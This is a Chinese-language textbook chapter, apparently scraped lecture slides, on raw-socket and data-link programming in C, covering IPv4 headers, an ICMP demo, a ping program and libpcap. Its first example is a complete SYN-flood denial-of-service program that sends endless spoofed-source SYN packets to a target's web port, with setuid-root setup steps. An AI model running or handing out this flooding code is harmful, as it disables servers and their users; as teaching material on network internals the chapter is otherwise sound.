第13章 原始套接字與數(shù)據(jù)鏈路訪(fǎng)問(wèn)編程_第1頁(yè)
第13章 原始套接字與數(shù)據(jù)鏈路訪(fǎng)問(wèn)編程_第2頁(yè)
第13章 原始套接字與數(shù)據(jù)鏈路訪(fǎng)問(wèn)編程_第3頁(yè)
第13章 原始套接字與數(shù)據(jù)鏈路訪(fǎng)問(wèn)編程_第4頁(yè)
第13章 原始套接字與數(shù)據(jù)鏈路訪(fǎng)問(wèn)編程_第5頁(yè)
已閱讀5頁(yè),還剩60頁(yè)未讀, 繼續(xù)免費(fèi)閱讀

下載本文檔

版權(quán)說(shuō)明:本文檔由用戶(hù)提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請(qǐng)進(jìn)行舉報(bào)或認(rèn)領(lǐng)

文檔簡(jiǎn)介

第13章原始套接字與數(shù)據(jù)鏈路訪(fǎng)問(wèn)編程IPv4數(shù)據(jù)報(bào)格式幾點(diǎn)說(shuō)明:首部長(zhǎng)度是以32位(即4字節(jié))為單位;16位的標(biāo)識(shí)用于分片和重組;DF位(不分片);MF(還有片段);協(xié)議字段表示封裝在IP報(bào)文中的上層協(xié)議,典型的有:ICMP(1)、IGMP(2)、TCP(6)、UDP(17);頭部校驗(yàn)和只對(duì)IP頭部(包括選項(xiàng))計(jì)算,校驗(yàn)算法是標(biāo)準(zhǔn)的因特網(wǎng)校驗(yàn)和算法,即簡(jiǎn)單的16位反碼求和。版本總長(zhǎng)度(字節(jié)長(zhǎng)度)標(biāo)識(shí)片段偏移首部長(zhǎng)度服務(wù)類(lèi)型0DFMF存活時(shí)間(TTL)頭部校驗(yàn)和協(xié)議32位源地址32位目的地址選項(xiàng)(如果有的話(huà))數(shù)據(jù)首部數(shù)據(jù)0371531IP數(shù)據(jù)報(bào)分片例子IP數(shù)據(jù)報(bào)是指指IP層端到端的傳輸單元(在分片之前和重新組裝之后),分組是指在IP層和鏈路層之間傳送的數(shù)據(jù)單元。需要重申的是,任何傳輸層首部只出現(xiàn)在第1片數(shù)據(jù)中。原始套接字(概述)原始套接字提供了一些使用tcp和udp協(xié)議不能實(shí)現(xiàn)的功能,如:使用原始套接字可以讀/寫(xiě)ICMPv4、IGMPv4分組。如Ping程序,mroute程序等;使用原始套接字可以讀/些特殊的IPv4數(shù)據(jù)包,內(nèi)核不處理這些數(shù)據(jù)報(bào)的IPv4協(xié)議字段。如大多數(shù)內(nèi)核只處理ICMP、IGMP、TCP、UDP的數(shù)據(jù)報(bào)。但協(xié)議字段還可以為其他值,如OSPF直接使用IP協(xié)議,將IP數(shù)據(jù)報(bào)的協(xié)議字段設(shè)為89,此時(shí),就必須有專(zhuān)門(mén)的程序通過(guò)原始套接字來(lái)處理它們;利用原始套接字還可以創(chuàng)建自定義的IP數(shù)據(jù)報(bào)首部,編寫(xiě)基于IP協(xié)議的高層網(wǎng)絡(luò)協(xié)議。原始套接字創(chuàng)建#include<sys/socket.h>#include<netinet/in.h>intsocket(AF_INET,SOCK_RAW,intprotocol);protocol參數(shù)一般不能為0,如:IPPROTO_ICMP。另外,只有超級(jí)用戶(hù)才能創(chuàng)建原始套接字。用戶(hù)可以通過(guò)設(shè)置IP_HDRINCL選項(xiàng)來(lái)編寫(xiě)自己的IP數(shù)據(jù)報(bào)首部:constinton=1;setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));可以調(diào)用bind函數(shù)綁定原始套接字的本地IP地址,此時(shí),所有輸出的數(shù)據(jù)報(bào)將用到源IP地址(僅當(dāng)IP_HDRINCL未設(shè)置時(shí));如果不調(diào)用bind函數(shù),由內(nèi)核將源IP地址設(shè)成外出接口的主IP地址;可以調(diào)用connect函數(shù)設(shè)置數(shù)據(jù)報(bào)的目的地址(注意并不需要真正的連接)。此后,可直接調(diào)用write或send。注意:bind和connect時(shí),端口已經(jīng)沒(méi)有意義了。通過(guò)原始套接字發(fā)送數(shù)據(jù)報(bào)原始套接字的輸出遵循以下規(guī)則:如果套接字已經(jīng)連接,可以調(diào)用write、writev、send來(lái)發(fā)送數(shù)據(jù),否則需要調(diào)用sendto或sendmsg;如果IP_HDRINCL選項(xiàng)未設(shè)置,則內(nèi)核寫(xiě)的數(shù)據(jù)起始地址指IP頭部之后的第一個(gè)字節(jié)。因?yàn)檫@種情況下,內(nèi)核構(gòu)造IP頭部,并將它安在來(lái)自進(jìn)程的數(shù)據(jù)之前。內(nèi)核將IPv4頭部的協(xié)議字段設(shè)置成用戶(hù)在調(diào)用socket函數(shù)所給的第三個(gè)參數(shù);如果設(shè)置了IP_HDRINCL,則內(nèi)核寫(xiě)的數(shù)據(jù)起始地址指IP頭部的第一個(gè)字節(jié)。用戶(hù)所提供的數(shù)據(jù)大小值必須包括頭部的字節(jié)數(shù)。此時(shí)進(jìn)程構(gòu)造除了以下兩項(xiàng)外的整個(gè)IP頭部;(a)IPv4標(biāo)識(shí)字段可以設(shè)為0,要求內(nèi)核設(shè)置該值;(b)IPv4頭部校驗(yàn)和由內(nèi)核來(lái)計(jì)算和存儲(chǔ)。IPv4數(shù)據(jù)報(bào)首部各個(gè)字段的內(nèi)容均是網(wǎng)絡(luò)字節(jié)序(對(duì)linux而言)對(duì)于超出外出接口的MTU的分組,內(nèi)核將其分片。通過(guò)原始套接字接收數(shù)據(jù)報(bào)內(nèi)核通過(guò)原始套接字接收數(shù)據(jù)報(bào),遵循以下規(guī)則:接收到的tcp和udp分組決不會(huì)傳遞給原始套接字,如果一個(gè)進(jìn)程希望讀取包含tcp或udp分組的IP數(shù)據(jù)報(bào),那么它們必須在數(shù)據(jù)鏈路層讀入;當(dāng)內(nèi)核處理完ICMP消息后,絕大部分ICMP分組將傳遞給原始套接字。對(duì)源自Berkeley的實(shí)現(xiàn),除了回射請(qǐng)求、時(shí)間戳請(qǐng)求和地址掩碼請(qǐng)求將完全由內(nèi)核處理以外,所有收到的ICMP分組將傳遞給某個(gè)原始套接口;當(dāng)內(nèi)核處理完IGMP消息后,所有IGMP分組都將傳遞給某個(gè)原始套接字;所有帶有內(nèi)核不能識(shí)別的協(xié)議字段的IP數(shù)據(jù)報(bào)都將傳遞給某個(gè)原始套接字。如果數(shù)據(jù)報(bào)以分片形式到達(dá),則該分組將在所有片段到達(dá)并重組后才傳給原始套接字。通過(guò)原始套接字接收數(shù)據(jù)報(bào)(續(xù))在將一個(gè)IP數(shù)據(jù)報(bào)傳遞給某個(gè)套接字之前,內(nèi)核需要選擇匹配的原始套接字:如果在創(chuàng)建原始套接字時(shí),所指定的protocol參數(shù)不為0,則接收到的數(shù)據(jù)包的協(xié)議字段應(yīng)與該值匹配,否則該數(shù)據(jù)報(bào)將不傳遞給該套接字;如果此原始套接字之上綁定了一個(gè)本地IP地址,那么接收到的數(shù)據(jù)報(bào)的目的IP地址應(yīng)與該綁定地址相匹配,否則該數(shù)據(jù)報(bào)將不傳遞給該套接字;如果此原始套接字通過(guò)調(diào)用connect指定了一個(gè)對(duì)方的IP地址,那么接收到的數(shù)據(jù)報(bào)的源IP地址應(yīng)與該已連接地址相匹配,否則該數(shù)據(jù)報(bào)將不傳遞給該套接字。如果一個(gè)原始套接字以protocol參數(shù)為0的方式創(chuàng)建,而且未調(diào)用bind或connect,那么對(duì)于內(nèi)核傳遞給原始套接字的每一個(gè)原始數(shù)據(jù)報(bào),該套接字都會(huì)收到一份拷貝;當(dāng)接收到的數(shù)據(jù)報(bào)傳遞給IPv4原始套接字時(shí),整個(gè)數(shù)據(jù)報(bào)(包括IP頭部)都將傳遞給進(jìn)程。而對(duì)于IPv6,則將去除擴(kuò)展頭部。例1、DOS攻擊(拒絕服務(wù)攻擊)拒絕服務(wù)攻擊原理:畫(huà)圖源程序Dos.c:#include<sys/socket.h>#include<sys/types.h>#include<stdio.h>#include<unistd.h>#include<netinet/in.h>#include<arpa/inet.h>#include<netinet/ip.h>#include<netinet/tcp.h>#defineDESTPORT80/*要攻擊的端口(WEB)*/#defineLOCALPORT8888voidsend_tcp(intsockfd,structsockaddr_in*addr);unsignedshortcheck_sum(unsignedshort*addr,intlen);intmain(intargc,char**argv){intsockfd;structsockaddr_inaddr;inton;on=1;if(argc!=2){fprintf(stderr,"Usage:%sIP\n\a",argv[0]);exit(1);}bzero(&addr,sizeof(structsockaddr_in));addr.sin_family=AF_INET;addr.sin_port=htons(DESTPORT);inet_aton(argv[1],&addr.sin_addr);/*****使用IPPROTO_TCP創(chuàng)建一個(gè)TCP的原始套接****/

sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);if(sockfd<0){perror("socketError");exit(1);}/*設(shè)置IP數(shù)據(jù)包格式,告訴系統(tǒng)內(nèi)核模塊IP數(shù)據(jù)包由我們自己來(lái)填寫(xiě)*/setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));/****沒(méi)有辦法,只用超級(jí)護(hù)用戶(hù)才可以使用原始套接字***/setuid(getuid());send_tcp(sockfd,&addr);/*********發(fā)送炸彈了!!!!****/}voidsend_tcp(intsockfd,structsockaddr_in*addr){charbuffer[100];/****用來(lái)放置我們的數(shù)據(jù)包****/structip*ip;structtcphdr*tcp;inthead_len;/*我們的數(shù)據(jù)包實(shí)際上沒(méi)有任何內(nèi)容,所以長(zhǎng)度就是兩個(gè)結(jié)構(gòu)的長(zhǎng)度*/head_len=sizeof(structip)+sizeof(structtcphdr);bzero(buffer,100);/********填充IP數(shù)據(jù)包的頭部,還記得IP的頭格式嗎******/ip=(structip*)buffer;ip->ip_v=IPVERSION;/**版本一般的是4**/ip->ip_hl=sizeof(structip)>>2;/**IP數(shù)據(jù)包的頭部長(zhǎng)度**/ip->ip_tos=0;/**服務(wù)類(lèi)型**/ip->ip_len=htons(head_len);/**IP數(shù)據(jù)包的長(zhǎng)度**/ip->ip_id=0;/**讓系統(tǒng)去填寫(xiě)吧**/ip->ip_off=0;/**和上面一樣,省點(diǎn)時(shí)間**/ip->ip_ttl=MAXTTL;/*最長(zhǎng)的時(shí)間255*/ip->ip_p=IPPROTO_TCP;/**我們要發(fā)的是TCP包**/ip->ip_sum=0;/**校驗(yàn)和讓系統(tǒng)去做**/ip->ip_dst=addr->sin_addr;/**我們攻擊的對(duì)象**/printf("destaddressis%s\n",inet_ntoa(addr->sin_addr));/*******開(kāi)始填寫(xiě)TCP數(shù)據(jù)包*****/

tcp=(structtcphdr*)(buffer+sizeof(structip));tcp->source=htons(LOCALPORT);tcp->dest=addr->sin_port;/**目的端口**/

tcp->seq=random();tcp->ack_seq=0;tcp->doff=5;

tcp->syn=1;/**我要建立連接**/tcp->check=0;/**好了,一切都準(zhǔn)備好了.服務(wù)器,你準(zhǔn)備好了沒(méi)有*/while(1){/**你不知道我是從那里來(lái)的,慢慢的去等吧!**/

ip->ip_src.s_addr=random();printf("addris%d\n",ip->ip_src.s_addr);

sendto(sockfd,buffer,head_len,0,(structsockaddr*)addr,sizeof(structsockaddr));}}程序運(yùn)行權(quán)限通常情況下,有效用戶(hù)ID等于實(shí)際用戶(hù)ID,有效組ID等于實(shí)際組ID;文件方式字中有一個(gè)特殊標(biāo)志,定義為“當(dāng)執(zhí)行此文件時(shí)將進(jìn)程的有效用戶(hù)ID設(shè)置為文件的所有者”,與此類(lèi)似,組ID也有類(lèi)似的情況。這兩位稱(chēng)為:設(shè)置-用戶(hù)-ID和設(shè)置-組-ID。對(duì)于本程序要求:普通用戶(hù)能執(zhí)行該程序,但該程序又要求要具有超級(jí)用戶(hù)權(quán)限,因此:需要將該可執(zhí)行程序的所有者設(shè)置為超級(jí)用戶(hù),并設(shè)置其“設(shè)置-用戶(hù)-ID”標(biāo)志,方法是:root@hoyt

/root]#chown

root

DOS

root@hoyt

/root]#chmod

u+s

DOS程序運(yùn)行結(jié)果例2:給本機(jī)發(fā)送一個(gè)ICMP報(bào)文,然后接收回復(fù)。//ip.h#ifndef_IP_H#define_IP_H#include<stdio.h>#include<signal.h>#include<arpa/inet.h>#include<sys/types.h>#include<sys/socket.h>#include<unistd.h>#include<netinet/in.h>#include<netinet/ip.h>#include<netinet/ip_icmp.h>#include<netdb.h>#definePACKET_SIZE4096#defineMAX_WAIT_TIME5#defineDEST_ADDR"71"externinterrno;charsendpacket[PACKET_SIZE];charrecvpacket[PACKET_SIZE];intsockfd,datalen=56;structsockaddr_indest_addr;voidsend_packet();voidrecv_packet();unsignedshortcal_chksum(unsignedshort*addr,intlen);voidshowiphdr(structip*ip);voidonTerm();#endif//Ip.c#include"ip.h"intmain(intargc,char*argv[]){structhostent*host;structprotoent*protocol;unsignedlonginaddr=0L;if((protocol=getprotobyname("icmp"))==NULL){perror("unknowprotocolicmp");exit(1);}if((sockfd=socket(AF_INET,SOCK_RAW,protocol->p_proto))<0){perror("socketerror");exit(2);}bzero(&dest_addr,sizeof(dest_addr));dest_addr.sin_family=AF_INET;inaddr=inet_addr(DEST_ADDR);memcpy((char*)&dest_addr.sin_addr,(char*)&inaddr,sizeof(inaddr));send_packet();recv_packet();return0;}voidsend_packet(){inti,packetsize;structicmp*icmp;icmp=(structicmp*)sendpacket;icmp->icmp_type=ICMP_ECHO;icmp->icmp_code=0;icmp->icmp_cksum=0;icmp->icmp_id=getpid();icmp->icmp_seq=1;packetsize=8+datalen;//數(shù)據(jù)包的大小icmp->icmp_cksum=cal_chksum((unsignedshort*)icmp,packetsize);if((sendto(sockfd,sendpacket,packetsize,0,(structsockaddr*)&dest_addr,sizeof(dest_addr)))<0){perror("sendICMPpacketserror\n");exit(3);}printf("sendICMPpacketto%s\n",inet_ntoa(dest_addr.sin_addr));}發(fā)送緩存區(qū)并未構(gòu)造IP頭部,是內(nèi)核構(gòu)造的。unsignedshortcal_chksum(unsignedshort*addr,intlen){intnleft=len;intsum=0;unsignedshort*w=addr;unsignedshortanswer=0;while(nleft>1){sum+=*w++;nleft-=2;}if(nleft==1){*(unsignedchar*)(&answer)=*(unsignedchar*)w;sum+=answer;}sum=(sum>>16)+(sum&0xffff);sum+=(sum>>16);answer=~sum;returnanswer;}voidrecv_packet(){intn,fromlen,packet_no;structsockaddr_infrom;structip*ip;structicmp*icmp;signal(SIGALRM,onTerm);while(1){fromlen=sizeof(from);alarm(MAX_WAIT_TIME);if((n=recvfrom(sockfd,recvpacket,sizeof(recvpacket),0,(structsockaddr*)&from,&fromlen))<0){perror("Receivepacketerror");continue;}

ip=(structip*)recvpacket;showiphdr(ip);printf("len:%d",ip->ip_hl);icmp=(structicmp*)(recvpacket+4*ip->ip_hl);//取ICMP報(bào)頭printf("ICMPTYPE=%d\n",icmp->icmp_type);}}voidshowiphdr(structip*ip){printf("------IPHEADER------\n");printf("version:%d\n",ip->ip_v);printf("headerlength:%d\n",ip->ip_hl);printf("typeofservice:%d\n",ip->ip_tos);printf("totallength:%d\n",ip->ip_len);printf("identification:%d\n",ip->ip_id);printf("fragmentoffsetfield:%d\n",ip->ip_off);printf("timetolive:%d\n",ip->ip_ttl);printf("protocol:%d\n",ip->ip_p);/*printf("checksum:%s\n",ip->ip_sum);*/printf("sourceIPaddress:%s\n",inet_ntoa(ip->ip_src));printf("destinationIPaddress:%s\n",inet_ntoa(ip->ip_dst));}voidonTerm(){close(sockfd);exit(0);}運(yùn)行結(jié)果收到了兩個(gè)ICMP報(bào)文,一個(gè)是由程序發(fā)送的,另一個(gè)是系統(tǒng)回復(fù)的。例3:ping程序#include<stdio.h>#include<signal.h>#include<arpa/inet.h>#include<sys/types.h>#include<sys/socket.h>#include<unistd.h>#include<netinet/in.h>#include<netinet/ip.h>#include<netinet/ip_icmp.h>#include<netdb.h>#include<setjmp.h>#include<errno.h>#definePACKET_SIZE4096#defineMAX_WAIT_TIME5#defineMAX_NO_PACKETS3charsendpacket[PACKET_SIZE];charrecvpacket[PACKET_SIZE];intsockfd,datalen=56;intnsend=0,nreceived=0;structsockaddr_indest_addr;pid_tpid;structsockaddr_infrom;structtimevaltvrecv;voidstatistics(intsigno);unsignedshortcal_chksum(unsignedshort*addr,intlen);intpack(intpack_no);voidsend_packet(void);voidrecv_packet(void);intunpack(char*buf,intlen);voidtv_sub(structtimeval*out,structtimeval*in);voidstatistics(intsigno){printf("\n--------------------PINGstatistics-------------------\n");printf("%dpacketstransmitted,%dreceived,%%%dlost\n",nsend,nreceived,(nsend-nreceived)/nsend*100);close(sockfd);exit(1);}/*校驗(yàn)和算法*/unsignedshortcal_chksum(unsignedshort*addr,intlen){intnleft=len;intsum=0;unsignedshort*w=addr;unsignedshortanswer=0;/*把ICMP報(bào)頭二進(jìn)制數(shù)據(jù)以2字節(jié)為單位累加起來(lái)*/while(nleft>1){sum+=*w++;nleft-=2;}/*若ICMP報(bào)頭為奇數(shù)個(gè)字節(jié),會(huì)剩下最后一字節(jié)。把最后一個(gè)字節(jié)視為一個(gè)2字節(jié)數(shù)據(jù)的高字節(jié),這個(gè)2字節(jié)數(shù)據(jù)的低字節(jié)為0,繼續(xù)累加*/if(nleft==1){*(unsignedchar*)(&answer)=*(unsignedchar*)w;sum+=answer;}sum=(sum>>16)+(sum&0xffff);sum+=(sum>>16);answer=~sum;returnanswer;}/*設(shè)置ICMP報(bào)頭*/intpack(intpack_no){inti,packsize;structicmp*icmp;structtimeval*tval;icmp=(structicmp*)sendpacket;icmp->icmp_type=ICMP_ECHO;icmp->icmp_code=0;icmp->icmp_cksum=0;icmp->icmp_seq=pack_no;icmp->icmp_id=pid;packsize=8+datalen;tval=(structtimeval*)icmp->icmp_data;gettimeofday(tval,NULL);/*記錄發(fā)送時(shí)間*/icmp->icmp_cksum=cal_chksum((unsignedshort*)icmp,packsize);/*校驗(yàn)算法*/returnpacksize;}/*發(fā)送三個(gè)ICMP報(bào)文*/voidsend_packet(){intpacketsize;while(nsend<MAX_NO_PACKETS){nsend++;packetsize=pack(nsend);/*設(shè)置ICMP報(bào)頭*/if(sendto(sockfd,sendpacket,packetsize,0,(structsockaddr*)&dest_addr,sizeof(dest_addr))<0){perror("sendtoerror");continue;}}sleep(1);/*每隔一秒發(fā)送一個(gè)ICMP報(bào)文*/}}/*接收所有ICMP報(bào)文*/voidrecv_packet(){intn,fromlen;externinterrno;signal(SIGALRM,statistics);fromlen=sizeof(from);while(nreceived<10){alarm(MAX_WAIT_TIME);if((n=recvfrom(sockfd,recvpacket,sizeof(recvpacket),0,(structsockaddr*)&from,&fromlen))<0){if(errno==EINTR)continue;perror("recvfromerror");continue;}gettimeofday(&tvrecv,NULL);/*記錄接收時(shí)間*/if(unpack(recvpacket,n)==-1)continue;nreceived++;}}/*剝?nèi)CMP報(bào)頭*/intunpack(char*buf,intlen){inti,iphdrlen;structip*ip;structicmp*icmp;structtimeval*tvsend;doublertt;ip=(structip*)buf;iphdrlen=(ip->ip_hl)*4;/*求ip報(bào)頭長(zhǎng)度,即ip報(bào)頭的長(zhǎng)度標(biāo)志乘4*/icmp=(structicmp*)(buf+iphdrlen);/*越過(guò)ip報(bào)頭,指向ICMP報(bào)頭*/len-=iphdrlen;/*ICMP報(bào)頭及ICMP數(shù)據(jù)報(bào)的總長(zhǎng)度*/if(len<8)/*小于ICMP報(bào)頭長(zhǎng)度則不合理*/{printf("ICMPpackets\'slengthislessthan8\n");return-1;}/*確保所接收的是我所發(fā)的的ICMP的回應(yīng)*/if((icmp->icmp_type==ICMP_ECHOREPLY)&&(icmp->icmp_id==pid)){tvsend=(structtimeval*)icmp->icmp_data;tv_sub(&tvrecv,tvsend);/*接收和發(fā)送的時(shí)間差*/rtt=tvrecv.tv_sec*1000+tvrecv.tv_usec/1000;/*以毫秒為單位計(jì)算rtt*//*顯示相關(guān)信息*/printf("%dbytefrom%s:icmp_seq=%uttl=%drtt=%.3fms\n",len,inet_ntoa(from.sin_addr),icmp->icmp_seq,ip->ip_ttl,rtt);}elsereturn-1;}main(intargc,char*argv[]){structhostent*host;structprotoent*protocol;unsignedlonginaddr=0l;intwaittime=MAX_WAIT_TIME;intsize=50*1024;if(argc<2){printf("usage:%shostname/IPaddress\n",argv[0]);exit(1);}if((protocol=getprotobyname("icmp"))==NULL){perror("getprotobyname");exit(1);}/*生成使用ICMP的原始套接字,這種套接字只有root才能生成*/if((sockfd=socket(AF_INET,SOCK_RAW,protocol->p_proto))<0){perror("socketerror");exit(1);}/*回收root權(quán)限,設(shè)置當(dāng)前用戶(hù)權(quán)限*/setuid(getuid());/*擴(kuò)大套接字接收緩沖區(qū)到50K這樣做主要為了減小接收緩沖區(qū)溢出的的可能性,若無(wú)意中ping一個(gè)廣播地址或多播地址,將會(huì)引來(lái)大量應(yīng)答*/setsockopt(sockfd,SOL_SOCKET,SO_RCVBUF,&size,sizeof(size));bzero(&dest_addr,sizeof(dest_addr));dest_addr.sin_family=AF_INET;if((host=gethostbyname(argv[1]))==NULL){perror("gethostbynameerror");exit(1);}dest_addr.sin_addr=*((structin_addr*)host->h_addr);pid=getpid();printf("PING%s(%s):%dbytesdatainICMPpackets.\n",argv[1],inet_ntoa(dest_addr.sin_addr),datalen);send_packet();/*發(fā)送所有ICMP報(bào)文*/recv_packet();/*接收所有ICMP報(bào)文*/statistics(SIGALRM);/*進(jìn)行統(tǒng)計(jì)*/return0;}/*兩個(gè)timeval結(jié)構(gòu)相減*/voidtv_sub(structtimeval*out,structtimeval*in){if((out->tv_usec-=in->tv_usec)<0){--out->tv_sec;out->tv_usec+=1000000;}out->tv_sec-=in->tv_sec;}/*-------------TheEnd-----------*/運(yùn)行結(jié)果:數(shù)據(jù)鏈路訪(fǎng)問(wèn)目前大多數(shù)操作系統(tǒng)都為應(yīng)用程序提供了訪(fǎng)問(wèn)數(shù)據(jù)鏈路層的手段,它具有以下功能:監(jiān)視數(shù)據(jù)鏈路層所收到的分組,這使得我們可以在計(jì)算機(jī)上通過(guò)像tcpdump這樣的程序來(lái)監(jiān)視網(wǎng)絡(luò),而無(wú)需使用特殊的硬件設(shè)備。如果結(jié)合使用網(wǎng)絡(luò)接口的混雜模式,甚至可以偵聽(tīng)本地電纜上的所有分組,而不只是以程序運(yùn)行所在主機(jī)為目的的分組。作為普通應(yīng)用進(jìn)程而不是內(nèi)核的一部分運(yùn)行某些程序。例如,大多數(shù)Unix系統(tǒng)的RARP服務(wù)器是普通的應(yīng)用進(jìn)程,它們從數(shù)據(jù)鏈路讀取RARP請(qǐng)求,并把應(yīng)答寫(xiě)回?cái)?shù)據(jù)鏈路。數(shù)據(jù)鏈路層訪(fǎng)問(wèn)方法BSD系統(tǒng)提供的BPF分組過(guò)濾器SVR4的數(shù)據(jù)鏈路提供者接口DLPILinux系統(tǒng)的SOCK_PACKET接口數(shù)據(jù)報(bào)捕獲函數(shù)庫(kù)libpcap。BPF分組過(guò)濾器應(yīng)用進(jìn)程緩沖區(qū)過(guò)濾器應(yīng)用進(jìn)程緩沖區(qū)過(guò)濾器BPFIPv4IPv6數(shù)據(jù)鏈路收到的分組的拷貝發(fā)出的分組的拷貝進(jìn)程內(nèi)核緩沖區(qū)緩沖區(qū)BPF分組過(guò)濾器因?yàn)锽PF過(guò)濾器需要對(duì)每個(gè)收到的報(bào)文進(jìn)行過(guò)濾,因此性能就至為重要了,BPF采用三種技術(shù)減少開(kāi)銷(xiāo):BPF的過(guò)濾由內(nèi)核完成,過(guò)濾后的分組才拷貝給應(yīng)用程序。每個(gè)分組只有部分?jǐn)?shù)據(jù)由BPF傳遞給應(yīng)用程序,因?yàn)榇蠖鄶?shù)應(yīng)用程序只需要監(jiān)控分組頭部。例如tcpdump將捕獲分組長(zhǎng)度缺省設(shè)置為68字節(jié)(以太網(wǎng)首部14+IP首部20+TCP首部20+14字節(jié)的數(shù)據(jù))BPF緩沖只有在已滿(mǎn)或超時(shí)發(fā)生才拷貝給應(yīng)用程序。(BPF采用了雙緩沖技術(shù))使用DLPI、pfmod、bufmod捕獲分組應(yīng)用進(jìn)程bufmodpfmod應(yīng)用進(jìn)程bufmodpfmodIPv4IPv6數(shù)據(jù)鏈路進(jìn)程內(nèi)核Linux:SOCK_PACKET該方法需要?jiǎng)?chuàng)建SOCK_PACKET類(lèi)型的套接字,而且調(diào)用socket的第三個(gè)參數(shù)必須是指定以太網(wǎng)幀類(lèi)型的某個(gè)非0值,例如:fd=socket(AF_INET,SOCKET_PACKET,htons(ETH_P_ALL);fd=socket(AF_INET,SOCKET_PACKET,htons(ETH_P_IP);還可以指定為:ETH_P_IPv6、ETH_P_ARP。該方法不提供基于核心的緩沖和分組過(guò)濾機(jī)制,因此,效率較低。另外,Linux不提供針對(duì)設(shè)備的過(guò)濾,即不能只接收來(lái)自某個(gè)指定設(shè)備的分組。libpcap:分組捕獲函數(shù)庫(kù)libpcap是一個(gè)與實(shí)現(xiàn)無(wú)關(guān)的訪(fǎng)問(wèn)操作系統(tǒng)所提供的分組捕獲機(jī)制的分組捕獲函數(shù)庫(kù)。目前它只支持分組的讀取。它同時(shí)支持Berkeley內(nèi)核下的BPF、Solaris2.x下的DLPI、SunOS4.1下的NIT、Linux下的SOCK_PACKET套接字以及其他若干操作系統(tǒng),具有良好的兼容性。libpcap庫(kù)函數(shù)(1)#include<pcap.h>char*pcap_lookupdev(char*errbuf);返回值:成功返回網(wǎng)絡(luò)設(shè)備名指針,出錯(cuò)返回NULL,并在errbuf中存儲(chǔ)錯(cuò)誤信息。該函數(shù)用于返回可被pcap_open_live()或pcap_lookupnet()函數(shù)調(diào)用的網(wǎng)絡(luò)設(shè)備名指針。libpcap庫(kù)函數(shù)(2)#include<pcap.h>intpcap_lookupnet(char*device,bpf_u_int*netp,bpf_u_int32*maskp,char*errbuf);返回:出錯(cuò)返回-1,否則0;該函數(shù)獲得指定網(wǎng)絡(luò)設(shè)備的網(wǎng)絡(luò)號(hào)和掩碼Device使用的網(wǎng)絡(luò)設(shè)備名.Netp網(wǎng)絡(luò)設(shè)備的網(wǎng)絡(luò)號(hào)(返回值)Maskp網(wǎng)絡(luò)設(shè)備的掩碼(返回值)Errbuf返回的錯(cuò)誤文本(返回值)libpcap庫(kù)函數(shù)(3)#include<pcap.h>pcap_t*pcap_open_live(char*device,intsnaplen,intpromisc,intto_ms,char*ebuf);該函數(shù)獲得用于捕獲網(wǎng)絡(luò)數(shù)據(jù)包捕獲描述符。函數(shù)參數(shù)如下:device:指定打開(kāi)的網(wǎng)絡(luò)設(shè)備名;snaplen:定義捕獲數(shù)據(jù)的最大字節(jié)數(shù);promisc:指定是否將網(wǎng)絡(luò)接口置于混雜模式;to_ms:指定超時(shí)時(shí)間(毫秒)ebuf:當(dāng)發(fā)生錯(cuò)誤時(shí),存儲(chǔ)錯(cuò)誤信息。libpcap庫(kù)函數(shù)(4)#include<pcap.h>intpcap_dispatch(pcap_t*p,intcnt,pcap_handlercallback,u_char*user);

返回值:成功返回讀取到的字節(jié)數(shù),出錯(cuò)返回-1。該函數(shù)用于捕獲并處理數(shù)據(jù)包。參數(shù)意義如下:p:打開(kāi)的網(wǎng)絡(luò)設(shè)備描述符;cnt:指定函數(shù)返回前所處理數(shù)據(jù)包的最大值,cnt=-1表示處理緩沖區(qū)中所有的數(shù)據(jù)報(bào)。cnt=0表示處理所有數(shù)據(jù)包,直到下述條件發(fā)生:發(fā)生錯(cuò)誤讀取到EOF;超時(shí)讀取。callback:指定一個(gè)帶有三個(gè)參數(shù)的回調(diào)函數(shù)。這三個(gè)參數(shù)分別是一個(gè)從pcap_dispatch()函數(shù)傳遞過(guò)來(lái)的u_char指針,一個(gè)是pcap_pkthdr結(jié)構(gòu)的指針,以及一個(gè)數(shù)據(jù)報(bào)大小的u_char指針。user:傳遞給回調(diào)函數(shù)的參數(shù)。libpcap庫(kù)函數(shù)(5)#include<pcap.h>intpcap_loop(pcap_t*p,intcnt,pcap_handlercallback,u_char*user);該函數(shù)與pcap_dispatch()函數(shù)功能基本相同。不同的是,前者在cnt個(gè)數(shù)據(jù)報(bào)被處理或出現(xiàn)錯(cuò)誤才返回,但讀取超時(shí)不會(huì)返回。另外,如果cnt=-1,pcap_loop函數(shù)將始終循環(huán)運(yùn)行,直至出現(xiàn)錯(cuò)誤。libpcap庫(kù)函數(shù)(6)#include<pcap.h>intpcap_compile(pcap_t*p,structbpf_program*fp,char*str,intoptimize,bpf_u_int32netmask);

返回值:成功為0,出錯(cuò)為-1。該函數(shù)將指定的字符串編譯到過(guò)濾程序中。函數(shù)參數(shù)如下:fp:一個(gè)bpf_program結(jié)構(gòu)指針,在函數(shù)中被賦值;str:指定編譯到過(guò)濾程序中的字符串。optimize:控制結(jié)果代碼的優(yōu)化;netmask:指定本地網(wǎng)絡(luò)的網(wǎng)絡(luò)掩碼。libpcap庫(kù)函數(shù)(7)#include<pcap.h>intpcap_setfilter(pcap_t*p,structbpf_program*fp);該函數(shù)指定一個(gè)過(guò)濾程序,參數(shù)fp通常在pcap_compile函數(shù)中被賦值。u_char*pcap_next(pcap_t*p,structpcap_pkthdr*h); 返回值:成功指向下一個(gè)數(shù)據(jù)包的指針。出錯(cuò)時(shí)返回NULL。該函數(shù)返回指向下一個(gè)數(shù)據(jù)包的指針。intpcap_datalink(pcap_t*p);返回值:數(shù)據(jù)鏈路層類(lèi)型,如:DLT_EN10MB,或DLT_PPP該函數(shù)返回?cái)?shù)據(jù)鏈路層的類(lèi)型。libpcap庫(kù)函數(shù)(8)#include<pcap.h>voidpcap_close(pcap_t*p);該函數(shù)用于關(guān)閉打開(kāi)的網(wǎng)絡(luò)設(shè)別描述符,并釋放資源。char*pcap_geterr(pcap*p);該函數(shù)用于返回最后一個(gè)pcap庫(kù)錯(cuò)誤消息。libpcap數(shù)據(jù)結(jié)構(gòu)typedefstructpcappcap_t;structpcap{ int fd; int snapshot; int linktype; int tzoff; /*timezoneoffset*/ int offset; /*offsetforproperalignment*/ structpcap_sf sf; structpcap_md md; int bufsize; 